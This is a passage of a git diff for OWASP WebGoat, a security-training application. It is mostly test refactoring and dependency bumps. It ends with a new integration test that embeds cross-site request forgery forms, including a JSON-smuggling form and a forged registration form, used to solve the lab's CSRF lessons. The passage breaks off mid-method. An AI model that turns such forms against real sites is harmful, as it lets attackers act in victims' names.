@TestPropertySource(locations = {"classpath:/application-webgoat.properties", "classpath:/application-test.properties"})
|
||||
public abstract class LessonTest {
|
||||
|
||||
@LocalServerPort
|
||||
@ -34,8 +33,7 @@ public abstract class LessonTest {
|
||||
protected PluginMessages messages;
|
||||
@MockBean
|
||||
protected WebSession webSession;
|
||||
@Autowired
|
||||
private WebgoatContext context;
|
||||
|
||||
@MockBean
|
||||
private Language language;
|
||||
|
||||
@ -43,7 +41,6 @@ public abstract class LessonTest {
|
||||
public void init() {
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
when(language.getLocale()).thenReturn(Locale.getDefault());
|
||||
when(webSession.getWebgoatContext()).thenReturn(context);
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -7,13 +7,15 @@ import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.Mockito;
|
||||
import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.mockito.junit.MockitoJUnitRunner;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.service.HintService.URL_HINTS_MVC;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
|
||||
@ -28,34 +30,24 @@ public class HintServiceTest {
|
||||
@Mock
|
||||
private WebSession websession;
|
||||
@Mock
|
||||
private AbstractLesson lesson;
|
||||
private Lesson lesson;
|
||||
@Mock
|
||||
private Assignment assignment;
|
||||
|
||||
@Before
|
||||
public void setup() {
|
||||
this.mockMvc = standaloneSetup(new HintService(websession)).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void onlyHintsOnLesson() throws Exception {
|
||||
when(lesson.getName()).thenReturn("Test lesson");
|
||||
when(lesson.getHints()).thenReturn(Lists.newArrayList("hint 1", "hint 2"));
|
||||
when(websession.getCurrentLesson()).thenReturn(lesson);
|
||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_HINTS_MVC))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].hint", CoreMatchers.is("hint 1")))
|
||||
.andExpect(jsonPath("$[0].lesson", CoreMatchers.is("Test lesson")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void hintsPerAssignment() throws Exception {
|
||||
when(lesson.getName()).thenReturn("Test lesson");
|
||||
Assignment assignment = Mockito.mock(Assignment.class);
|
||||
when(assignment.getPath()).thenReturn("/HttpBasics/attack1");
|
||||
when(assignment.getHints()).thenReturn(Lists.newArrayList("hint 1", "hint 2"));
|
||||
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(assignment));
|
||||
when(websession.getCurrentLesson()).thenReturn(lesson);
|
||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_HINTS_MVC))
|
||||
.andExpect(status().isOk()).andDo(print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].hint", CoreMatchers.is("hint 1")))
|
||||
.andExpect(jsonPath("$[0].assignmentPath", CoreMatchers.is("/HttpBasics/attack1")));
|
||||
}
|
||||
|
@ -4,6 +4,7 @@ import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.owasp.webgoat.users.UserService;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
|
||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||
@ -53,6 +54,8 @@ public class LabelServiceTest {
|
||||
public MockMvc mockMvc;
|
||||
@MockBean
|
||||
private Course course;
|
||||
@MockBean
|
||||
private UserService userService;
|
||||
|
||||
@Test
|
||||
@WithMockUser(username = "guest", password = "guest")
|
||||
|
@ -1,3 +1,24 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
@ -7,10 +28,9 @@ import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.Mockito;
|
||||
import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.mockito.junit.MockitoJUnitRunner;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.users.LessonTracker;
|
||||
@ -19,8 +39,7 @@ import org.owasp.webgoat.users.UserTrackerRepository;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.mockito.Matchers.any;
|
||||
import static org.mockito.Matchers.anyString;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.service.LessonMenuService.URL_LESSONMENU_MVC;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
|
||||
@ -28,13 +47,11 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 4/16/17.
|
||||
*/
|
||||
@RunWith(MockitoJUnitRunner.class)
|
||||
public class LessonMenuServiceTest {
|
||||
|
||||
@Mock(lenient=true)
|
||||
private LessonTracker lessonTracker;
|
||||
@Mock
|
||||
private Course course;
|
||||
@Mock
|
||||
@ -52,18 +69,15 @@ public class LessonMenuServiceTest {
|
||||
|
||||
@Test
|
||||
public void lessonsShouldBeOrdered() throws Exception {
|
||||
NewLesson l1 = Mockito.mock(NewLesson.class);
|
||||
NewLesson l2 = Mockito.mock(NewLesson.class);
|
||||
Lesson l1 = Mockito.mock(Lesson.class);
|
||||
Lesson l2 = Mockito.mock(Lesson.class);
|
||||
when(l1.getTitle()).thenReturn("ZA");
|
||||
when(l2.getTitle()).thenReturn("AA");
|
||||
when(l1.getCategory()).thenReturn(Category.ACCESS_CONTROL);
|
||||
when(l2.getCategory()).thenReturn(Category.ACCESS_CONTROL);
|
||||
LessonTracker lessonTracker = Mockito.mock(LessonTracker.class);
|
||||
when(lessonTracker.isLessonSolved()).thenReturn(false);
|
||||
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
|
||||
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
|
||||
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
||||
.andExpect(status().isOk())
|
||||
@ -73,16 +87,13 @@ public class LessonMenuServiceTest {
|
||||
|
||||
@Test
|
||||
public void lessonCompleted() throws Exception {
|
||||
NewLesson l1 = Mockito.mock(NewLesson.class);
|
||||
Lesson l1 = Mockito.mock(Lesson.class);
|
||||
when(l1.getTitle()).thenReturn("ZA");
|
||||
when(l1.getCategory()).thenReturn(Category.ACCESS_CONTROL);
|
||||
LessonTracker lessonTracker = Mockito.mock(LessonTracker.class);
|
||||
when(lessonTracker.isLessonSolved()).thenReturn(true);
|
||||
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
|
||||
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||
|
||||
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
|
||||
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
||||
.andExpect(status().isOk()).andDo(print())
|
||||
|
@ -6,7 +6,7 @@ import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.users.LessonTracker;
|
||||
@ -17,9 +17,10 @@ import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.mockito.Matchers.any;
|
||||
import static org.mockito.Matchers.anyString;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
@ -59,7 +60,7 @@ public class LessonProgressServiceTest {
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@Mock
|
||||
private AbstractLesson lesson;
|
||||
private Lesson lesson;
|
||||
@Mock
|
||||
private UserTracker userTracker;
|
||||
@Mock
|
||||
@ -71,10 +72,11 @@ public class LessonProgressServiceTest {
|
||||
|
||||
@Before
|
||||
public void setup() {
|
||||
Assignment assignment = new Assignment("test", "test");
|
||||
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||
Assignment assignment = new Assignment("test", "test", List.of());
|
||||
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
|
||||
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
|
||||
when(websession.getCurrentLesson()).thenReturn(lesson);
|
||||
when(lesson.getAssignments()).thenReturn(List.of(assignment));
|
||||
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));
|
||||
this.mockMvc = MockMvcBuilders.standaloneSetup(new LessonProgressService(userTrackerRepository, websession)).build();
|
||||
}
|
||||
|
@ -1,13 +1,12 @@
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.mockito.junit.MockitoJUnitRunner;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.users.LessonTracker;
|
||||
@ -17,9 +16,11 @@ import org.springframework.security.test.context.support.WithMockUser;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.mockito.Matchers.any;
|
||||
import static org.mockito.Matchers.anyString;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.anyString;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
@ -34,7 +35,7 @@ public class ReportCardServiceTest {
|
||||
@Mock
|
||||
private UserTracker userTracker;
|
||||
@Mock
|
||||
private AbstractLesson lesson;
|
||||
private Lesson lesson;
|
||||
@Mock
|
||||
private LessonTracker lessonTracker;
|
||||
@Mock
|
||||
@ -56,9 +57,9 @@ public class ReportCardServiceTest {
|
||||
when(lesson.getTitle()).thenReturn("Test");
|
||||
when(course.getTotalOfLessons()).thenReturn(1);
|
||||
when(course.getTotalOfAssignments()).thenReturn(10);
|
||||
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
|
||||
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||
when(course.getLessons()).thenAnswer(x -> List.of(lesson));
|
||||
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
|
||||
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.totalNumberOfLessons", is(1)))
|
||||
|
@ -31,4 +31,8 @@ package org.owasp.webgoat.session;
|
||||
*/
|
||||
public class CourseTest {
|
||||
|
||||
public void number() {
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,9 +1,8 @@
|
||||
package org.owasp.webgoat.session;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.junit.Test;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.users.LessonTracker;
|
||||
|
||||
import java.util.List;
|
||||
@ -47,8 +46,8 @@ public class LessonTrackerTest {
|
||||
|
||||
@Test
|
||||
public void allAssignmentsSolvedShouldMarkLessonAsComplete() {
|
||||
AbstractLesson lesson = mock(AbstractLesson.class);
|
||||
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(new Assignment("assignment", "")));
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
when(lesson.getAssignments()).thenReturn(List.of(new Assignment("assignment", "assignment", List.of(""))));
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("assignment");
|
||||
|
||||
@ -57,10 +56,10 @@ public class LessonTrackerTest {
|
||||
|
||||
@Test
|
||||
public void noAssignmentsSolvedShouldMarkLessonAsInComplete() {
|
||||
AbstractLesson lesson = mock(AbstractLesson.class);
|
||||
Assignment a1 = new Assignment("a1", "a1");
|
||||
Assignment a2 = new Assignment("a2", "a2");
|
||||
List<Assignment> assignments = Lists.newArrayList(a1, a2);
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
Assignment a1 = new Assignment("a1");
|
||||
Assignment a2 = new Assignment("a2");
|
||||
List<Assignment> assignments = List.of(a1, a2);
|
||||
when(lesson.getAssignments()).thenReturn(assignments);
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("a1");
|
||||
@ -72,9 +71,9 @@ public class LessonTrackerTest {
|
||||
|
||||
@Test
|
||||
public void solvingSameAssignmentShouldNotAddItTwice() {
|
||||
AbstractLesson lesson = mock(AbstractLesson.class);
|
||||
Assignment a1 = new Assignment("a1", "a1");
|
||||
List<Assignment> assignments = Lists.newArrayList(a1);
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
Assignment a1 = new Assignment("a1");
|
||||
List<Assignment> assignments = List.of(a1);
|
||||
when(lesson.getAssignments()).thenReturn(assignments);
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("a1");
|
||||
|
@ -5,10 +5,12 @@ import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||
import org.springframework.test.context.ActiveProfiles;
|
||||
import org.springframework.test.context.junit4.SpringRunner;
|
||||
|
||||
@DataJpaTest
|
||||
@RunWith(SpringRunner.class)
|
||||
@ActiveProfiles({"test", "webgoat"})
|
||||
public class UserRepositoryTest {
|
||||
|
||||
@Autowired
|
||||
@ -24,6 +26,4 @@ public class UserRepositoryTest {
|
||||
Assertions.assertThat(user.getUsername()).isEqualTo("test");
|
||||
Assertions.assertThat(user.getPassword()).isEqualTo("password");
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -3,10 +3,10 @@ package org.owasp.webgoat.users;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.mockito.junit.MockitoJUnitRunner;
|
||||
import org.springframework.security.core.userdetails.UsernameNotFoundException;
|
||||
|
||||
import static org.mockito.Matchers.any;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
@RunWith(MockitoJUnitRunner.class)
|
||||
@ -24,5 +24,4 @@ public class UserServiceTest {
|
||||
UserService userService = new UserService(userRepository, userTrackerRepository);
|
||||
userService.loadUserByUsername("unknown");
|
||||
}
|
||||
|
||||
}
|
@ -6,34 +6,26 @@ import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||
import org.springframework.test.context.ActiveProfiles;
|
||||
import org.springframework.test.context.junit4.SpringRunner;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
@DataJpaTest
|
||||
@RunWith(SpringRunner.class)
|
||||
@ActiveProfiles({"test", "webgoat"})
|
||||
public class UserTrackerRepositoryTest {
|
||||
|
||||
private class TestLesson extends NewLesson {
|
||||
private class TestLesson extends Lesson {
|
||||
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.AJAX_SECURITY;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 12;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "test";
|
||||
@ -54,7 +46,6 @@ public class UserTrackerRepositoryTest {
|
||||
@Autowired
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
|
||||
|
||||
@Test
|
||||
public void saveUserTracker() {
|
||||
UserTracker userTracker = new UserTracker("test");
|
||||
|
@ -3,7 +3,7 @@ package org.owasp.webgoat.users;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.mockito.junit.MockitoJUnitRunner;
|
||||
import org.springframework.validation.BeanPropertyBindingResult;
|
||||
import org.springframework.validation.Errors;
|
||||
|
||||
|
@ -1,4 +1,5 @@
|
||||
webgoat.user.directory=${java.io.tmpdir}
|
||||
|
||||
spring.datasource.url=jdbc:hsqldb:mem:test
|
||||
spring.jpa.hibernate.ddl-auto=create-drop
|
||||
webgoat.start.hsqldb=false
|
||||
spring.flyway.locations=classpath:/db/container
|
||||
|
@ -1,27 +0,0 @@
|
||||
import io.gatling.core.Predef._
|
||||
import io.gatling.http.Predef._
|
||||
import org.apache.commons.lang3.RandomStringUtils
|
||||
|
||||
import scala.concurrent.duration._
|
||||
|
||||
class BasicSimulation extends Simulation {
|
||||
|
||||
val httpConf = http
|
||||
.baseURL("http://localhost:8080/WebGoat/") // Here is the root for all relative URLs
|
||||
.userAgentHeader("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0")
|
||||
|
||||
val scn = scenario("Register and automatic login").
|
||||
exec(session =>
|
||||
session.setAll(("username", RandomStringUtils.randomAlphabetic(10)))
|
||||
)
|
||||
.exec(
|
||||
http("Test")
|
||||
.post("register.mvc")
|
||||
.formParam("username", "${username}")
|
||||
.formParam("password", "${username}")
|
||||
.formParam("matchingPassword", "${username}")
|
||||
.formParam("agree", "agree")
|
||||
)
|
||||
|
||||
setUp(scn.inject(atOnceUsers(100)).protocols(httpConf))
|
||||
}
|
10
webgoat-images/vagrant-training/Vagrantfile
vendored
10
webgoat-images/vagrant-training/Vagrantfile
vendored
@ -19,17 +19,17 @@ Vagrant.configure(2) do |config|
|
||||
end
|
||||
|
||||
config.vm.provision "shell", inline: <<-SHELL
|
||||
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webgoat-server-8.0.0.M21.jar
|
||||
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webwolf-8.0.0.M21.jar
|
||||
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
|
||||
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar
|
||||
sudo add-apt-repository ppa:openjdk-r/ppa
|
||||
sudo apt-get update
|
||||
sudo apt-get install openjdk-8-jre -y
|
||||
sudo apt-get install openjdk-11-jre -y
|
||||
SHELL
|
||||
|
||||
config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL
|
||||
java -jar webgoat-server-8.0.0.M21.jar --server.address=0.0.0.0 &
|
||||
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0 &
|
||||
sleep 40s
|
||||
java -jar webwolf-8.0.0.M21.jar --server.address=0.0.0.0 &
|
||||
java -jar webwolf-8.0.0.M25.jar --server.address=0.0.0.0 &
|
||||
SHELL
|
||||
|
||||
end
|
||||
|
64
webgoat-integration-tests/pom.xml
Normal file
64
webgoat-integration-tests/pom.xml
Normal file
@ -0,0 +1,64 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>webgoat-integration-tests</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-parent</artifactId>
|
||||
<version>v8.0.0.M26</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-server</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-server</artifactId>
|
||||
<version>${project.version}</version>
|
||||
<classifier>internal</classifier>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webwolf</artifactId>
|
||||
<version>${project.version}</version>
|
||||
<classifier>internal</classifier>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webwolf</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-test</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>io.rest-assured</groupId>
|
||||
<artifactId>rest-assured</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-surefire-plugin</artifactId>
|
||||
<version>${maven-surefire-plugin.version}</version>
|
||||
<configuration>
|
||||
<forkCount>0</forkCount>
|
||||
<reuseForks>true</reuseForks>
|
||||
<argLine>
|
||||
--illegal-access=permit
|
||||
</argLine>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
</project>
|
@ -0,0 +1,233 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static org.junit.Assert.assertEquals;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.Test;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
|
||||
public class CSRFTest extends IntegrationTest {
|
||||
|
||||
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
|
||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
|
||||
"</form></body></html>";
|
||||
|
||||
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
|
||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
|
||||
"</form>\n" +
|
||||
"</body></html>";
|
||||
|
||||
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
|
||||
"<input type=\"submit\" value=\"assignment 7\"/>\n" +
|
||||
"</form></body></html>";
|
||||
|
||||
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
|
||||
"<input type=\"submit\" value=\"assignment 8\"/>\n" +
|
||||
"</form></body></html>";
|
||||
|
||||
private String webwolfFileDir;
|
||||
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("CSRF");
|
||||
|
||||
webwolfFileDir = getWebWolfServerPath();
|
||||
|
||||
//Assignment 3
|
||||
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
|
||||
checkAssignment3(callTrickHtml("csrf3.html"));
|
||||
|
||||
//Assignment 4
|
||||
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
|
||||
checkAssignment4(callTrickHtml("csrf4.html"));
|
||||
|
||||
//Assignment 7
|
||||
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
|
||||
checkAssignment7(callTrickHtml("csrf7.html"));
|
||||
|
||||
//Assignment 8
|
||||
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", getWebgoatUser()));
|
||||
checkAssignment8(callTrickHtml("csrf8.html"));
|
||||
|
||||
login();//because old cookie got replaced and invalidated
|
||||
checkResults("csrf");
|
||||
|
||||
}
|
||||
|
||||
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
|
||||
|
||||
//remove any left over html
|
||||
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
||||
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),htmlName)).toFile().exists()) {
|
||||
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),htmlName)));
|
||||
}
|
||||
|
||||
//upload trick html
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
